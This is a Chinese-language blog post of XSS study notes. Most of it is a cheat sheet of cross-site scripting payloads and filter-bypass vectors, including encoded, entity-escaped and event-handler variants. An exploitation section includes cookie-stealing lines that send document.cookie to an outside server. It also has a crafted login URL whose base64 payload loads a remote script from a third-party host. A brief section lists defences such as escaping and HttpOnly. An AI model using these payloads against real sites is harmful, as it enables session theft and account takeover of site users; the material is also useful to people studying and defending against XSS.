關於xss攻擊學習的總結


 

關於xss攻擊,網上相關的介紹很多,一搜索也是一大堆,這里我就對自己感興趣的一些內容做個總結。

 

xss簡單介紹

成因:xss是將惡意代碼(多是JavaScript)插入html代碼中。

分類:

1、 反射型

2、 存儲型

3、 DOM型

 

1、 XSS的危害是這么?

攻擊者構造可執行JavaScript的攻擊鏈接,發送給受害者,多用於獲取cookie,因為cookie可以使你偽裝成受害者來登錄。還可以定向到別的網站,下載病毒鏈接等等。

 

2、 DOM型xss、反射型xss和存儲型xss的區別?

反射型xss是向鏈接傳入參數時發生的,需要誘騙受害者點擊。而存儲型是存在服務器中的,比如發表的文章,供訪問者瀏覽的信息等等,危害更大。

DOM型xss屬於反射型xss的一種,只是不通過服務器,DOM跨站是純頁面腳本的輸出,只有規范使用JAVASCRIPT,才可以防御。

因為DOM型比較難理解,所以找了一些鏈接有興趣,可以在深入了解一下。

關於DOM型XSS漏洞的學習筆記

DOM-based XSS 與存儲性 XSS、反射型 XSS 有什么區別?

基於 DOM 的第三類跨站腳本

 

3、 如何對網站進行測試?

如果彈窗成功,說明存在xss漏洞,下面是幾種常見的跨站攻擊方法。

<script>alert(document.cookie)</script>
閉合或注釋之前的語句
"/><script>alert(document.cookie)</script><!--
--><script>alert(document.cookie)</script><!--

 

其他寫法

"onclick="alert(document.cookie)
</dd><script>alert(/xss/)</script>
<script>alert(/liscker/);</script>
"><img%20src=1%20onerror=alert(1)>
<marquee/onstart="confirm`1`">
< a href=javascript:alert(1)>

 

反射型XSS Poc:

 

alert()函數過濾:

<script>alert('xss')</script> 
<script>confirm('xss')</script> 
<script>prompt('xss')</script> 

 

<script>標簽過濾:

<a href="onclick=alert('xss')"> click</a>
123"><a/href=//www.baidu.com/>XssTest</a> <img src=# onerror=alert('xss')></img> <iframe onload=alert('xss')>

 

base64加密

<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='>

 

setTimeout

<svg/onload=setTimeout('ale'+'rt(1)',0)>

 

過濾雙引號

<input onfocus=alert(1) autofocus>
<select onfocus=alert(1) autofocus>

 

chrome

<img src ?itworksonchrome?\/onerror = alert(1)>

 

data形式

<object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg></object>
<embed src=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg></embed>
<script src=data:%26comma;alert(1)></script>

 

ontoggle

<details open ontoggle="&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#24050;&#26159;&#40644;&#26127;&#29420;&#33258;&#24833;&#65292;&#19968;&#26525;&#32418;&#26447;&#20986;&#22681;&#26469;&#39;&#41;">

 

frame

<frame src="javascript:alert(1)">
<frame src="javascript:%20%0aalert%20%0d %09(1)">
<iframe srcdoc="&lt;img src&equals;x:x onerror&equals;alert&lpar;1&rpar;&gt;" />
2134'></textarea><script>alert(/xss/)</script><textarea>

 

url加密繞圓括號

<svg/onload=alert(1)>
<svg onload='JavascRipT:alert%281%29'>
<svg/onload ="location='jav'+'ascript'+':%2'+'0aler'+'t%20%2'+'81%'+'29'">

 

 XSS漏洞利用方式:

<script>window.location="http://www.baidu.com"</script>   重定向釣魚
<script>window.location="http://1.1.1.1/cookie.php?cookie="+document.cookie;</script>  接受客戶端cookie
<script>new Image().src="http://1.1.1.1/c.php?output="+document.cookie; </script> 
http://login.xxx.com/sso/m/mobile-login.do?next_page=http://m.xxx.com&f=coursek12xss",}});setTimeout(atob('ZG9jdW1lbnQuYm9keS5pbm5lckhUTUwgPSAnJztkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpKS5zcmM9Jy8vZHQzMDEuY29tLzAuanMnOw=='),0);({validate: {//

 

 

 XSS變種

XSS變種的類型在於JavaScript能執行的位置有多少。

  1)confirm() 方法用於顯示一個帶有指定消息和 OK 及取消按鈕的對話框。

"/><ScRiPt>confirm(9174)</ScRiPt>

  2)跳轉鏈接

<a/href=//www.baidu.com/>XssTest</a>
<a href="javascript:alert(1)">x</a>

   3)img類型的xss

<img src='#' onerror='alert("XSS")' >
<img src='' onerror=alert(/poc/)>

  4)對於過濾<>

%27;alert%28/aa/%29;a=%27

   5)郵箱系統,存儲型

<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>

   6)inframe框架執行JS

<iframe src="javascript:alert(1)"></iframe>

 

4、 如何防xss?

1) 對特殊字符進行轉義

2) 直接將標簽過濾掉

3) 對cookie設置httponly

之前一直不了解到底是干什么用的,我理解是限定對cookie的訪問只能走http協議,而不能通過JavaScript獲取到cookie。

 

關於如何設置httponly?

百度的(全) http://jingyan.baidu.com/article/5553fa82a8248c65a3393442.html

java的  http://zhenghaoju700.blog.163.com/blog/static/13585951820138267195385/

 

4) 對用戶的輸入內容做限制

可以用正則對出入格式進行匹配。

5) 對數據進行在編碼處理

 

參考:

反射型XSS攻擊 

http://blog.163.com/biaoxiaoqun@126/blog/static/376791602014718103941487/

https://www.cnblogs.com/seeker01/p/7921186.html

 

關於xxs的一些利用案例

 

背景:后台對以下字符進行轉義:<、>、’、”。

可以通過 u003cu003e來代替<>

實際案例:

后台輸出JSON格式數據時,一般都會在前面添加轉義符進行轉義。

理想情況:u003cimg src=1 onerror=alert(/xss/)u003e

實際情況:

document.getElementById("test").innerHTML =" \u003cimg src=1 onerror=alert(/xss/)\u003e";

因為昵稱被轉義,u003c同樣被轉義了。

針對於此情況,可以利用半字節

[0xc0]u003cimg src=1 onerror=alert(/xss/) [0xc0]u003e

 

參考:新辦法繞過xss過濾-讓xss來的更猛烈些吧

 

==================================================================

 

余弦的主題---學習和記錄大佬總結的經驗。

 

出處:http://weibo.com/evilcos?is_hot=1#1497420192019

 

#姿勢# XSS’OR -> CODZ -> VECTOR CODZ -> XSSMisc

 

新增XSS攻擊向量:

 

<img/src==”x onerror=alert(1)//”>

<div/style==”x onclick=alert(1)//”>XSS’OR

<div style=behavior:url(“onclick=alert(1)//”>XSS’OR

<div style=x:x(“ onclick=alert(1)//”>XSS’OR

 

還有發散空間,用於繞過XSS過濾機制

 

里面的:

<script>`</div><div>`-alert(123)</script>

<script>`</div><div>`+alert(123)</script>

<script>`</div><div>`/alert(123)</script>

<script>`</div><div>`%alert(123)</script>

<script>`</div><div>`==alert(123)</script>

<script>`</div><div>`/=alert(123)</script> # Only Edge

<script>`</div><div>`*=alert(123)</script> # Only Edge

關鍵key是:

  1. 反單引號
  2. 加減乘除等運算符的利用

作用:

  拿來bypass找XSS

 

這個XSSMisc,列的基本都是找XSS漏洞常用的VECTOR(向量),這些VECTOR都是拿來做過濾的bypass嘗試的

 <title><img src=”</title><img src=x onerror=alert(1)//”>

本質:<titile>這個標簽的“解析高優先級”,很霸道的必須找到閉合</title>,找到了才肯罷休。利用這個特性,拆散src后面的雙引號閉合,實現img onerror的執行

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM